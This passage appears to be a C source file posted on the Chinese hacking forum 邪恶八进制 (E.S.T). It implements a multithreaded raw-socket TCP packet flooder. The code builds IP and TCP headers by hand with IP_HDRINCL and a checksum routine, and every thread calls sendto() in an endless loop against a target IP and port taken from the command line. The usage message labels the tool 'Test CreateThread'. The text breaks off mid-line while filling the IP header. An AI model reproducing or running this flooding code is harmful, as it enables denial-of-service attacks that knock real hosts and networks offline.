文章作者:xuanliang[E.S.T]信息来源:邪恶八进制
#include <stdio.h>#include <stdlib.h>#include <winsock2.h>#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
SOCKET g_Sock;SOCKADDR_IN g_Addr;
//定义IP首部typedef struct ip_head{unsigned char h_verlen;unsigned char tos;unsigned short total_len;unsigned short ident;unsigned short frag_and_flags;unsigned char ttl;unsigned char proto;unsigned short checksum;unsigned int sourceIP;unsigned int destIP;}IPHEADER;
//定义TCP首部typedef struct tcp_head{USHORT th_sport;USHORT th_dport;unsigned int th_seq;unsigned int th_ack;unsigned char th_lenres;unsigned char th_flag;USHORT th_win;USHORT th_sum;USHORT th_urp;}TCPHEADER;
//定义TCP伪首部typedef struct tsd_head{unsigned long saddr;unsigned long daddr;char mbz;char ptcl;unsigned short tcpl;}PSDHEADER;
//计算校验和USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1){ cksum+=*buffer++; size -=sizeof(USHORT);}if(size){ cksum += *(UCHAR*)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}
void usage(){printf("-----------------------------------------------------------/n");printf("Test CreateThread/n");printf("Useage:Target_ip Target_port Thread_num /n");printf("-----------------------------------------------------------/n");}
//MakeThreadint MakeThread( LPVOID pPara ){char *SendBuf = NULL;int PacketSize = 0, AddrSize = 0;
SendBuf = (char *)pPara;PacketSize = sizeof(IPHEADER)+sizeof(TCPHEADER);AddrSize = sizeof(SOCKADDR_IN);
while(1) { if ( sendto(g_Sock, SendBuf, PacketSize, 0, (struct sockaddr*)&g_Addr, AddrSize) == SOCKET_ERROR ) { printf( "send error %d!", GetLastError() ); return false; }
}}
int main(int argc, char* argv[]){WSADATA WSAData;IPHEADER ipHeader;TCPHEADER tcpHeader;PSDHEADER psdHeader;int SourcePort;char SendBuf[60]={0};BOOL flag;int nTimeOver;int ThreadNUM;HANDLE ThreadHandle = NULL;int i;int CurrentThread=0;
if (argc!=4){ usage(); return false;}if (atoi(argv[3]) > 50){ printf("u'd better choose 10 thread");}else ThreadNUM=atoi(argv[3]);
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0){ printf("WSAStartup Error!"); return false;}if ((g_Sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET){ printf("Socket Setup Error!"); return false;}
flag=true;if (setsockopt(g_Sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR){ printf("setsockopt IP_HDRINCL error!"); return false;}
//设置发送时间nTimeOver=1000;if (setsockopt(g_Sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR){ printf("setsockopt SO_SNDTIMEO error!"); return false;}g_Addr.sin_family=AF_INET;g_Addr.sin_port=htons(atoi(argv[2]));g_Addr.sin_addr.S_un.S_addr=inet_addr(argv[1]);
//填充IP首部 ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.tos=0; ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=(unsigned char)GetTickCount()